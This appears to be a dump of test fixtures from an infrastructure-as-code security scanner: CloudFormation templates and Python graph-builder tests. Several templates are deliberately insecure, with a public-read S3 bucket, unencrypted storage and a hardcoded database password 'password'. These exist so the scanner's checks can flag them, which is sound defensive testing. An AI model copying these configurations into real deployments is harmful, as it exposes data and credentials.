BucketFnAndTrue: Type: 'AWS::S3::Bucket' Condition: FnAndTrue BucketFnAndFalse: Type: 'AWS::S3::Bucket' Condition: FnAndFalse BucketFnAndTrueWithCondition: Type: 'AWS::S3::Bucket' Condition: FnAndTrueWithCondition BucketFnOrTrue: Type: 'AWS::S3::Bucket' Condition: FnOrTrue BucketFnOrFalse: Type: 'AWS::S3::Bucket' Condition: FnOrFalse BucketFnOrTrueWithCondition: Type: 'AWS::S3::Bucket' Condition: FnOrTrueWithCondition ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/edges_json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Parameters": { "EnvType": { "Description": "Environment type.", "Default": "test", "Type": "String", "AllowedValues": [ "prod", "dev", "test" ], "ConstraintDescription": "must specify prod, dev, or test." }, "DataBucketName": { "Description": "Bucket Name", "Type": "String", "Default": "bucket_name" } }, "Mappings": { "RegionMap": { "us-east-1": { "AMI": "ami-0ff8a91507f77f867" }, "us-west-1": { "AMI": "ami-0bdb828fd58c52235" }, "us-west-2": { "AMI": "ami-a0cfeed8" }, "eu-west-1": { "AMI": "ami-047bb4163c506cd98" }, "sa-east-1": { "AMI": "ami-07b14488da8ea02a0" }, "ap-southeast-1": { "AMI": "ami-08569b978cc4dfa10" }, "ap-southeast-2": { "AMI": "ami-09b42976632b27e9b" }, "ap-northeast-1": { "AMI": "ami-06cd52961ce9f0d85" } } }, "Conditions": { "CreateProdResources": { "Fn::Equals": [ { "Ref": "EnvType" }, "prod" ] }, "CreateDevResources": { "Fn::Equals": [ { "Ref": "EnvType" }, "dev" ] } }, "Resources": { "EC2Instance": { "Type": "AWS::EC2::Instance", "Properties": { "ImageId": { "Fn::FindInMap": [ "RegionMap", { "Ref": "AWS::Region" }, "AMI" ] }, "InstanceType": { "Fn::If": [ "CreateProdResources", "c1.xlarge", { "Fn::If": [ "CreateDevResources", "m1.large", "m1.small" ] } ] }, "Tags": [ { "Key": "Name", "Value": { "Fn::Sub": [ "ec2-${Environment}", { "Environment": { "Ref": "EnvType" } } ] } } ] } }, "MountPoint": { "Type": "AWS::EC2::VolumeAttachment", "Condition": "CreateProdResources", "Properties": { "InstanceId": { "Ref": "EC2Instance" }, "VolumeId": { "Ref": "NewVolume" }, "Device": "/dev/sdh" } }, "NewVolume": { "Type": "AWS::EC2::Volume", "Condition": "CreateProdResources", "Properties": { "Size": 100, "AvailabilityZone": { "Fn::GetAtt": [ "EC2Instance", "AvailabilityZone" ] } } }, "DataBucket": { "Type": "AWS::S3::Bucket", "DeletionPolicy": "Delete", "DependsOn": "EC2Instance", "Properties": { "BucketName": { "Ref": "DataBucketName" }, "AccessControl": "PublicRead", "Tags": [ { "Key": "Name", "Value": { "Fn::Sub": "${AWS::AccountId}-${DataBucketName}-${EnvType}" } } ] } } }, "Outputs": { "EC2InstanceId": { "Description": "Web Host Public DNS Name", "Value": { "Ref": "EC2Instance" } }, "EC2PublicDNS": { "Description": "Web Host Public DNS Name", "Value": { "Fn::GetAtt": [ "EC2Instance", "PublicDnsName" ] } }, "DataBucketUniqueId": { "Description": "Data Bucket Name", "Value": { "Fn::Sub": "DataBucket-${DataBucket}-${DataBucketName}" } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/edges_yaml/test.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Parameters: EnvType: Description: Environment type. Default: test Type: String AllowedValues: [prod, dev, test] ConstraintDescription: must specify prod, dev, or test. DataBucketName: Description: Bucket Name Type: String Default: bucket_name Mappings: RegionMap: us-east-1: AMI: "ami-0ff8a91507f77f867" us-west-1: AMI: "ami-0bdb828fd58c52235" us-west-2: AMI: "ami-a0cfeed8" eu-west-1: AMI: "ami-047bb4163c506cd98" sa-east-1: AMI: "ami-07b14488da8ea02a0" ap-southeast-1: AMI: "ami-08569b978cc4dfa10" ap-southeast-2: AMI: "ami-09b42976632b27e9b" ap-northeast-1: AMI: "ami-06cd52961ce9f0d85" Conditions: CreateProdResources: !Equals [!Ref EnvType, prod] CreateDevResources: !Equals [!Ref EnvType, "dev"] Resources: EC2Instance: Type: "AWS::EC2::Instance" Properties: ImageId: !FindInMap [RegionMap, !Ref "AWS::Region", AMI] InstanceType: !If [CreateProdResources, c1.xlarge, !If [CreateDevResources, m1.large, m1.small]] Tags: - Key: Name Value: !Sub - ec2-${Environment} - Environment: !Ref EnvType MountPoint: Type: "AWS::EC2::VolumeAttachment" Condition: CreateProdResources Properties: InstanceId: !Ref EC2Instance VolumeId: !Ref NewVolume Device: /dev/sdh NewVolume: Type: "AWS::EC2::Volume" Condition: CreateProdResources Properties: Size: 100 AvailabilityZone: !GetAtt EC2Instance.AvailabilityZone DataBucket: # Public, not encrypted, no access logs, no versioning Type: AWS::S3::Bucket DeletionPolicy: Delete DependsOn: EC2Instance Properties: BucketName: !Ref DataBucketName AccessControl: PublicRead Tags: - Key: Name Value: !Sub "${AWS::AccountId}-${DataBucketName}-${EnvType}" Outputs: EC2InstanceId: Description: Web Host Public DNS Name Value: !Ref EC2Instance EC2PublicDNS: Description: Web Host Public DNS Name Value: !GetAtt [EC2Instance, PublicDnsName] DataBucketUniqueId: Description: Data Bucket Name Value: !Sub "DataBucket-${DataBucket}-${DataBucketName}" ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/encryption/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "AWS CloudFormation Template to deploy insecure infrastructure", "Resources": { "EncryptedECRRepository": { "Type": "AWS::ECR::Repository", "Properties": { "EncryptionConfiguration": { "EncryptionType": "AES256" } } }, "UnencryptedECRRepository": { "Type": "AWS::ECR::Repository" }, "EncryptedNeptunDBCluster": { "Type": "AWS::Neptune::DBCluster", "Properties": { "StorageEncrypted": true } }, "UnencryptedNeptunDBCluster": { "Type": "AWS::Neptune::DBCluster", "Properties": { "StorageEncrypted": false } }, "EncryptedEFSFileSystem": { "Type": "AWS::EFS::FileSystem", "Properties": { "Encrypted": true } }, "UnencryptedEFSFileSystem": { "Type": "AWS::EFS::FileSystem", "Properties": {} }, "EncryptedEC2Volume": { "Type": "AWS::EC2::Volume", "Properties": { "Encrypted": true } }, "UnencryptedEC2Volume": { "Type": "AWS::EC2::Volume", "Properties": { "Encrypted": false } }, "UnencryptedEC2Volume2": { "Type": "AWS::EC2::Volume", "Properties": {} }, "EncryptedElastiCacheReplicationGroup": { "Type": "AWS::ElastiCache::ReplicationGroup", "Properties": { "AtRestEncryptionEnabled": true } }, "UnencryptedElastiCacheReplicationGroup": { "Type": "AWS::ElastiCache::ReplicationGroup", "Properties": {} }, "EncryptedElasticsearchDomain": { "Type": "AWS::Elasticsearch::Domain", "Properties": { "EncryptionAtRestOptions": { "Enabled": true }, "NodeToNodeEncryptionOptions": { "Enabled": true } } }, "UnencryptedElasticsearchDomain": { "Type": "AWS::Elasticsearch::Domain", "Properties": { "NodeToNodeEncryptionOptions": { "Enabled": false } } }, "EncryptedMSKCluster": { "Type": "AWS::MSK::Cluster", "Properties": { "EncryptionInfo": { "EncryptionAtRest": { "DataVolumeKMSKeyId": "KMS" }, "EncryptionInTransit": { "ClientBroker": "TLS", "InCluster": true } } } }, "EncryptedKinesisStream": { "Type": "AWS::Kinesis::Stream", "Properties": { "StreamEncryption": { "EncryptionType": "KMS", "KeyId": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } } }, "UnencryptedKinesisStream": { "Type": "AWS::Kinesis::Stream", "Properties": {} }, "UnencryptedS3Bucket": { "Type": "AWS::S3::Bucket", "Properties": {} }, "EncryptedS3Bucket": { "Type": "AWS::S3::Bucket", "Properties": { "BucketEncryption": { "ServerSideEncryptionConfiguration": { "ServerSideEncryptionByDefault": { "SSEAlgorithm": "aws:kms" } } } } }, "EncryptedS3Bucket2": { "Type": "AWS::S3::Bucket", "Properties": { "BucketEncryption": { "ServerSideEncryptionConfiguration": { "ServerSideEncryptionByDefault": { "SSEAlgorithm": "AES256" } } } } }, "EncryptedSNSTopic": { "Type": "AWS::SNS::Topic", "Properties": { "KmsMasterKeyId": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } }, "UnencryptedSNSTopic": { "Type": "AWS::SNS::Topic", "Properties": {} }, "EncryptedSQSQueue": { "Type": "AWS::SQS::Queue", "Properties": { "KmsMasterKeyId": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } }, "UnencryptedSQSQueue": { "Type": "AWS::SQS::Queue", "Properties": {} }, "EncryptedLogsLogGroup": { "Type": "AWS::Logs::LogGroup", "Properties": {} }, "EncryptedLogsLogGroup2": { "Type": "AWS::Logs::LogGroup", "Properties": { "KmsKeyId": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } }, "EncryptedCloudTrailTrail": { "Type": "AWS::CloudTrail::Trail", "Properties": { "KMSKeyId": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } }, "UnencryptedCloudTrailTrail": { "Type": "AWS::CloudTrail::Trail", "Properties": {} }, "EncryptedDynamoDBTable": { "Type": "AWS::DynamoDB::Table", "Properties": { "SSESpecification": { "SSEEnabled": true } } }, "EncryptedDynamoDBTable2": { "Type": "AWS::DynamoDB::Table", "Properties": {} }, "EncryptedDocDBDBCluster": { "Type": "AWS::DocDB::DBCluster", "Properties": { "StorageEncrypted": true, "KmsKeyId": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } }, "UnencryptedDocDBDBCluster": { "Type": "AWS::DocDB::DBCluster", "Properties": { "StorageEncrypted": false } }, "EncryptedCodeBuildProject": { "Type": "AWS::CodeBuild::Project", "Properties": { "EncryptionKey": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } }, "UnencryptedCodeBuildProject": { "Type": "AWS::CodeBuild::Project", "Properties": {} }, "EncryptedCodeBuildReportGroup": { "Type": "AWS::CodeBuild::ReportGroup", "Properties": { "ExportConfig": { "S3Destination": { "EncryptionDisabled": false, "EncryptionKey": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } } } }, "UnencryptedCodeBuildReportGroup": { "Type": "AWS::CodeBuild::ReportGroup", "Properties": { "ExportConfig": { "S3Destination": { "EncryptionDisabled": true } } } }, "EncryptedAthenaWorkGroup": { "Type": "AWS::Athena::WorkGroup", "Properties": { "WorkGroupConfiguration": { "ResultConfiguration": { "EncryptionConfiguration": { "EncryptionOption": "SSE_KMS", "KmsKey": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } } } } }, "UnencryptedAthenaWorkGroup": { "Type": "AWS::Athena::WorkGroup", "Properties": {}, "EncryptedEKSCluster": { "Type": "AWS::EKS::Cluster", "Properties": { "EncryptionConfig": { "Provider": { "KeyArn": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } } } }, "EncryptedRDSDBCluster": { "Type": "AWS::RDS::DBCluster", "Properties": { "StorageEncrypted": true, "KmsKeyId": "arn:aws:kms:us-east-1:000000000000:key/some-key-uuid" } }, "UnencryptedRDSDBCluster": { "Type": "AWS::RDS::DBCluster", "Properties": {} }, "EncryptedRDSGlobalCluster": { "Type": "AWS::RDS::GlobalCluster", "Properties": { "StorageEncrypted": true } }, "UnencryptedRDSGlobalCluster": { "Type": "AWS::RDS::GlobalCluster", "Properties": { "StorageEncrypted": false } }, "EncryptedRDSDBInstance": { "Type": "AWS::RDS::DBInstance", "Properties": { "StorageEncrypted": true } }, "UnencryptedRDSDBInstance": { "Type": "AWS::RDS::DBInstance", "Properties": { "StorageEncrypted": false } }, "EncryptedDAXCluster": { "Type": "AWS::DAX::Cluster", "Properties": { "SSESpecification": { "SSEEnabled": true } } }, "UnencryptedDAXCluster": { "Type": "AWS::DAX::Cluster", "Properties": { "SSESpecification": { "SSEEnabled": false } } }, "EncryptedRedshift::Cluster": { "Type": "AWS::Redshift::Cluster", "Properties": { "Encrypted": true } }, "UnencryptedRedshift::Cluster": { "Type": "AWS::Redshift::Cluster", "Properties": {} } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/sam/template.yaml ================================================ AWSTemplateFormatVersion: '2010-09-09' Transform: AWS::Serverless-2016-10-31 Mappings: ServiceDiscovery: self: "name": 'amecard-cancel-api' Parameters: EnvironmentType: Type: String AllowedValues: - dev - stage Globals: Function: Timeout: 5 CodeUri: src/ Runtime: python3.9 Tracing: Active Environment: Variables: QUEUE_URL: !If [ IsStageEnvironment, !Ref SomeQueue, unknown ] STAGE: Production TABLE_NAME: global-table VpcConfig: SecurityGroupIds: - sg-123 - sg-456 SubnetIds: - subnet-123 - subnet-456 Conditions: IsStageEnvironment: !Equals [ !Ref EnvironmentType, stage ] Resources: SomeQueue: Type: AWS::SQS::Queue Function1: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Runtime: python3.9 Events: SQSEvent: Type: SQS Properties: Queue: !GetAtt SomeQueue.Arn BatchSize: 10 Enabled: true Environment: Variables: TABLE_NAME: resource-table NEW_VAR: hello VpcConfig: SecurityGroupIds: - sg-first Function2: Type: AWS::Serverless::Function Properties: Handler: app.lambdaHandler Outputs: RawSqsUrl: Description: URL of the SQS Queue Value: !Ref SomeQueue ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_findinmap/json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Mappings": { "RegionMap": { "us-east-1": { "AMI": "ami-0ff8a91507f77f867" }, "us-west-1": { "AMI": "ami-0bdb828fd58c52235" }, "us-west-2": { "AMI": "ami-a0cfeed8" } } }, "Resources": { "EC2Instance": { "Type": "AWS::EC2::Instance", "Properties": { "ImageId": { "Fn::FindInMap": [ "RegionMap", "us-east-1", "AMI" ] }, "InstanceType": "c1.xlarge" } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_findinmap/yaml/test.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Mappings: RegionMap: us-east-1: AMI: "ami-0ff8a91507f77f867" us-west-1: AMI: "ami-0bdb828fd58c52235" us-west-2: AMI: "ami-a0cfeed8" Resources: EC2Instance: Type: "AWS::EC2::Instance" Properties: ImageId: !FindInMap [RegionMap, us-east-1, AMI] InstanceType: c1.xlarge ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_getatt/json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Resources": { "WebVPC": { "Type": "AWS::EC2::VPC", "Properties": { "CidrBlock": "172.16.0.0/16", "EnableDnsSupport": true, "EnableDnsHostnames": true } }, "MySG": { "Type": "AWS::EC2::SecurityGroup", "Properties": { "GroupName": "sg_group_name", "GroupDescription": "sg_group_description", "VpcId": { "Ref": "WebVPC" }, "SecurityGroupIngress": [ { "IpProtocol": "tcp", "FromPort": 3306, "ToPort": 3306, "CidrIp": { "Fn::GetAtt": [ "WebVPC", "CidrBlock" ] } } ] } } }, "Outputs": { "WebVPCDefaultSg": { "Description": "The default security group ID that is associated with the VPC. For example, sg-b178e0d3", "Value": { "Fn::GetAtt": [ "WebVPC", "DefaultSecurityGroup" ] } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_getatt/yaml/test.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Resources: WebVPC: Type: 'AWS::EC2::VPC' Properties: CidrBlock: 172.16.0.0/16 EnableDnsSupport: true EnableDnsHostnames: true MySG: Type: 'AWS::EC2::SecurityGroup' Properties: GroupName: sg_group_name GroupDescription: sg_group_description VpcId: !Ref WebVPC SecurityGroupIngress: - IpProtocol: tcp FromPort: 3306 ToPort: 3306 CidrIp: !GetAtt - WebVPC - CidrBlock Outputs: WebVPCDefaultSg: Description: >- The default security group ID that is associated with the VPC. For example, sg-b178e0d3 Value: !GetAtt - WebVPC - DefaultSecurityGroup ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_if/json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Parameters": { "EnvType": { "Description": "Environment type.", "Default": "dev", "Type": "String" }, "InstanceSize": { "Description": "EC2 Instance small Size", "Type": "String", "Default": "m1.large" } }, "Conditions": { "CreateProdResources": { "Fn::Equals": [ { "Ref": "EnvType" }, "prod" ] }, "CreateDevResources": { "Fn::Equals": [ { "Ref": "EnvType" }, "dev" ] } }, "Resources": { "EC2Instance": { "Type": "AWS::EC2::Instance", "Properties": { "InstanceType": { "Fn::If": [ "CreateProdResources", "c1.xlarge", { "Fn::If": [ "CreateDevResources", { "Ref": "InstanceSize" }, "m1.small" ] } ] } } }, "S3BucketSuspended": { "Type": "AWS::S3::Bucket", "Properties": { "VersioningConfiguration": { "Status": { "Fn::If": [ "CreateProdResources", "Enabled", "Suspended" ] } } } }, "S3BucketEnabled": { "Type": "AWS::S3::Bucket", "Properties": { "VersioningConfiguration": { "Status": { "Fn::If": [ "CreateDevResources", "Enabled", "Suspended" ] } } } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_if/yaml/test.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Parameters: EnvType: Description: Environment type. Default: dev Type: String InstanceSize: Description: EC2 Instance small Size Type: String Default: m1.large Conditions: CreateProdResources: !Equals - !Ref EnvType - prod CreateDevResources: !Equals - !Ref EnvType - dev Resources: EC2Instance: Type: 'AWS::EC2::Instance' Properties: InstanceType: !If - CreateProdResources - c1.xlarge - !If - CreateDevResources - !Ref InstanceSize - m1.small S3BucketSuspended: Type: 'AWS::S3::Bucket' Properties: VersioningConfiguration: Status: !If - CreateProdResources - Enabled - Suspended S3BucketEnabled: Type: 'AWS::S3::Bucket' Properties: VersioningConfiguration: Status: !If - CreateDevResources - Enabled - Suspended ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_join/json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Parameters": { "BucketName": { "Type": "String", "Default": "my_bucket_name" } }, "Resources": { "S3Bucket1": { "Type": "AWS::S3::Bucket", "Properties": { "BucketName": { "Fn::Join": [ ":", [ "a", "b", "c" ] ] } } }, "S3Bucket2": { "Type": "AWS::S3::Bucket", "Properties": { "BucketName": { "Fn::Join": [ "_", [ { "Ref": "BucketName" }, "test" ] ] } } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_join/yaml/test.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Parameters: BucketName: Type: String Default: "my_bucket_name" Resources: S3Bucket1: Type: AWS::S3::Bucket Properties: BucketName: !Join [ ":", [ a, b, c ] ] S3Bucket2: Type: AWS::S3::Bucket Properties: BucketName: !Join - '_' - - !Ref BucketName - 'test' ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_params/yaml/test.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Parameters: BucketName: Type: String Description: 'The name of the S3 Bucket to create, make this unique' Status: Type: String Description: 'VersioningConfiguration status' Default: Disabled Resources: VersioningS3Bucket: Type: 'AWS::S3::Bucket' Properties: BucketName: !Ref BucketName VersioningConfiguration: Status: !Ref Status ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_ref/json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Description": "AWS CloudFormation Template to deploy insecure infrastructure", "Parameters": { "KmsMasterKeyId": { "Description": "Company Name", "Type": "String" }, "DBName": { "Description": "Name of the Database", "Type": "String", "Default": "db1" } }, "Resources": { "MySourceQueue": { "Type": "AWS::SQS::Queue", "Properties": { "KmsMasterKeyId": { "Ref": "KmsMasterKeyId" } } }, "MyDB": { "Type": "AWS::RDS::DBInstance", "Properties": { "DBName": { "Ref": "DBName" }, "DBInstanceClass": "db.t3.micro", "Engine": "mysql", "MasterUsername": "master", "MasterUserPassword": "password" } } }, "Outputs": { "MyDBInstanceName": { "Description": "My DB Instance Name", "Value": { "Ref": "MyDB" } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_ref/yaml/test.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: AWS CloudFormation Template to deploy insecure infrastructure Parameters: KmsMasterKeyId: Description: Company Name Type: String DBName: Description: Name of the Database Type: String Default: db1 Resources: MySourceQueue: Type: AWS::SQS::Queue Properties: KmsMasterKeyId: !Ref KmsMasterKeyId MyDB: Type: 'AWS::RDS::DBInstance' # Test case for check skip via comment # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest Properties: DBName: !Ref DBName DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' Outputs: MyDBInstanceName: Description: My DB Instance Name Value: !Ref MyDB ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_select/json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Parameters": { "DbSubnetIpBlocks": { "Description": "Comma-delimited list of three CIDR blocks", "Type": "CommaDelimitedList", "Default": "10.0.48.0/24, 10.0.112.0/24, 10.0.176.0/24" } }, "Resources": { "VPC": { "Type": "AWS::EC2::VPC", "Properties": { "CidrBlock": "172.16.0.0/16", "EnableDnsSupport": true, "EnableDnsHostnames": true } }, "Subnet0": { "Type": "AWS::EC2::Subnet", "Properties": { "VpcId": { "Ref": "VPC" }, "CidrBlock": { "Fn::Select": [ 0, { "Ref": "DbSubnetIpBlocks" } ] } } } }, "Outputs": { "GrapesSelect": { "Description": "Grapes Select", "Value": { "Fn::Select": [ "1", [ "apples", "grapes", "oranges", "mangoes" ] ] } }, "OutOfBoundSelect": { "Description": "Out of Bound Select", "Value": { "Fn::Select": [ "7", [ "apples", "grapes", "oranges", "mangoes" ] ] } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_select/yaml/test.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Parameters: DbSubnetIpBlocks: Description: "Comma-delimited list of three CIDR blocks" Type: CommaDelimitedList Default: "10.0.48.0/24, 10.0.112.0/24, 10.0.176.0/24" Resources: VPC: Type: 'AWS::EC2::VPC' Properties: CidrBlock: 172.16.0.0/16 EnableDnsSupport: true EnableDnsHostnames: true Subnet0: Type: "AWS::EC2::Subnet" Properties: VpcId: !Ref VPC CidrBlock: !Select [ 0, !Ref DbSubnetIpBlocks ] Outputs: GrapesSelect: Description: Grapes Select Value: !Select [ "1", [ "apples", "grapes", "oranges", "mangoes" ] ] OutOfBoundSelect: Description: Out of Bound Select Value: !Select [ "7", [ "apples", "grapes", "oranges", "mangoes" ] ] ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_sub/json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Parameters": { "CompanyName": { "Description": "Company Name", "Type": "String", "Default": "acme" }, "Environment": { "Description": "Environment", "Type": "String" } }, "Resources": { "WebVPC": { "Type": "AWS::EC2::VPC", "Properties": { "CidrBlock": "172.16.0.0/16", "EnableDnsSupport": true, "EnableDnsHostnames": true } }, "DefaultDB": { "Type": "AWS::RDS::DBInstance", "Properties": { "DBName": { "Fn::Sub": "rds-${CompanyName}-${Environment}" }, "DBInstanceClass": "db.m4.large" } } }, "Outputs": { "DBEndpoint": { "Description": "DB Endpoint", "Value": { "Fn::Sub": "${DefaultDB.Endpoint.Address}:${DefaultDB.Endpoint.Port}" } }, "WebVPCCidrBlock": { "Description": "WebVPC Cidr Block", "Value": { "Fn::Sub": "${WebVPC.CidrBlock}" } }, "CidrBlockAssociations": { "Description": "WebVPC Cidr Block Associations", "Value": { "Fn::Sub": "${WebVPC.CidrBlockAssociations}" } }, "DefaultDBName": { "Description": "DefaultDB Name", "Value": { "Fn::Sub": "rds-${CompanyName}-${Environment}" } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_sub/yaml/test.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Parameters: CompanyName: Description: Company Name Type: String Default: acme Environment: Description: Environment Type: String Resources: WebVPC: Type: 'AWS::EC2::VPC' Properties: CidrBlock: 172.16.0.0/16 EnableDnsSupport: true EnableDnsHostnames: true DefaultDB: Type: AWS::RDS::DBInstance Properties: DBName: !Sub "rds-${CompanyName}-${Environment}" DBInstanceClass: "db.m4.large" Outputs: DBEndpoint: Description: DB Endpoint Value: !Sub ${DefaultDB.Endpoint.Address}:${DefaultDB.Endpoint.Port} WebVPCCidrBlock: Description: WebVPC Cidr Block Value: !Sub ${WebVPC.CidrBlock} CidrBlockAssociations: Description: WebVPC Cidr Block Associations Value: !Sub ${WebVPC.CidrBlockAssociations} DefaultDBName: Description: DefaultDB Name Value: !Sub "rds-${CompanyName}-${Environment}" ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_subsequent_evals/json/test.json ================================================ { "AWSTemplateFormatVersion": "2010-09-09", "Parameters": { "CidrBlock": { "Description": "CIDR Block", "Type": "String", "Default": "172.16.0.0/16" } }, "Resources": { "WebVPC": { "Type": "AWS::EC2::VPC", "Properties": { "CidrBlock": { "Ref": "CidrBlock" }, "EnableDnsSupport": true, "EnableDnsHostnames": true } }, "MySG": { "Type": "AWS::EC2::SecurityGroup", "Properties": { "GroupName": "sg_group_name", "GroupDescription": "sg_group_description", "VpcId": { "Ref": "WebVPC" }, "SecurityGroupIngress": [ { "IpProtocol": "tcp", "FromPort": 3306, "ToPort": 3306, "CidrIp": { "Fn::GetAtt": [ "WebVPC", "CidrBlock" ] } } ] } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/variable_rendering/render_subsequent_evals/yaml/test.yaml ================================================ AWSTemplateFormatVersion: 2010-09-09 Parameters: CidrBlock: Description: CIDR Block Type: String Default: 172.16.0.0/16 Resources: WebVPC: Type: 'AWS::EC2::VPC' Properties: CidrBlock: !Ref CidrBlock EnableDnsSupport: true EnableDnsHostnames: true MySG: Type: 'AWS::EC2::SecurityGroup' Properties: GroupName: sg_group_name GroupDescription: sg_group_description VpcId: !Ref WebVPC SecurityGroupIngress: - IpProtocol: tcp FromPort: 3306 ToPort: 3306 CidrIp: !GetAtt - WebVPC - CidrBlock ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/vertices/test.json ================================================ { "AWSTemplateFormatVersion" : "2010-09-09", "Description": "AWS CloudFormation Template to deploy insecure infrastructure", "Parameters": { "KmsMasterKeyId": { "Description": "Company Name", "Type": "String", "Default": "kms_id" }, "DBName": { "Description": "Name of the Database", "Type": "String", "Default": "db" } }, "Resources": { "MySourceQueue": { "Type": "AWS::SQS::Queue", "Properties": { "KmsMasterKeyId": { "Ref": "KmsMasterKeyId" } } }, "MyDB": { "Type": "AWS::RDS::DBInstance", "Properties": { "DBName": { "Ref": "DBName" }, "DBInstanceClass": "db.t3.micro", "Engine": "mysql", "MasterUsername": "master", "MasterUserPassword": "password" } } }, "Outputs": { "DBAppPublicDNS": { "Description": "DB App Public DNS Name", "Value": { "Fn::GetAtt" : [ "MyDB", "PublicDnsName" ] } } } } ================================================ FILE: tests/cloudformation/graph/graph_builder/resources/vertices/test.yaml ================================================ AWSTemplateFormatVersion: "2010-09-09" Description: AWS CloudFormation Template to deploy insecure infrastructure Parameters: KmsMasterKeyId: Description: Company Name Type: String Default: kms_id DBName: Description: Name of the Database Type: String Default: db1 Resources: MySourceQueue: Type: AWS::SQS::Queue Properties: KmsMasterKeyId: !Ref KmsMasterKeyId MyDB: Type: 'AWS::RDS::DBInstance' # Test case for check skip via comment # checkov:skip=CKV_AWS_16:Ensure all data stored in the RDS is securely encrypted at rest Properties: DBName: !Ref DBName DBInstanceClass: 'db.t3.micro' Engine: 'mysql' MasterUsername: 'master' MasterUserPassword: 'password' Outputs: DBAppPublicDNS: Description: DB App Public DNS Name Value: !GetAtt [ MyDB, PublicDnsName ] ================================================ FILE: tests/cloudformation/graph/graph_builder/test_blocks.py ================================================ from unittest import TestCase from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType from checkov.cloudformation.graph_builder.graph_components.blocks import CloudformationBlock class TestBlocks(TestCase): def test_update_complex_key(self): config = {'labels': [{'app.kubernetes.io/name': '${local.name}', 'app.kubernetes.io/instance': 'hpa', 'app.kubernetes.io/version': '1.0.0', 'app.kubernetes.io/managed-by': 'terraform'}]} attributes = {'labels': {'app.kubernetes.io/name': '${local.name}', 'app.kubernetes.io/instance': 'hpa', 'app.kubernetes.io/version': '1.0.0', 'app.kubernetes.io/managed-by': 'terraform'}, 'labels.app.kubernetes.io/name': '${local.name}', 'labels.app.kubernetes.io/instance': 'hpa', 'labels.app.kubernetes.io/version': '1.0.0', 'labels.app.kubernetes.io/managed-by': 'terraform'} block = CloudformationBlock(name='test_local_name', config=config, path='', block_type=BlockType.RESOURCE, attributes=attributes) block.update_attribute(attribute_key="labels.app.kubernetes.io/name", change_origin_id=0, attribute_value="dummy value", previous_breadcrumbs=[], attribute_at_dest="") self.assertEqual("dummy value", block.attributes["labels.app.kubernetes.io/name"]) ================================================ FILE: tests/cloudformation/graph/graph_builder/test_local_graph.py ================================================ import os from pathlib import Path from unittest import TestCase from checkov.common.graph.graph_builder.graph_components.attribute_names import CustomAttributes from checkov.cloudformation.cfn_utils import create_definitions from checkov.cloudformation.graph_builder.graph_components.block_types import BlockType from checkov.cloudformation.graph_builder.graph_to_definitions import convert_graph_vertices_to_definitions from checkov.cloudformation.graph_builder.graph_components.generic_resource_encryption import ENCRYPTION_BY_RESOURCE_TYPE from checkov.cloudformation.graph_builder.local_graph import CloudformationLocalGraph from checkov.common.graph.graph_builder import EncryptionValues, EncryptionTypes from checkov.cloudformation.parser import parse, TemplateSections from checkov.runner_filter import RunnerFilter TEST_DIRNAME = os.path.dirname(os.path.realpath(__file__)) class TestLocalGraph(TestCase): def test_build_graph_with_single_resource(self): relative_file_path = "../../checks/resource/aws/example_APIGatewayXray/APIGatewayXray-PASSED.yaml" 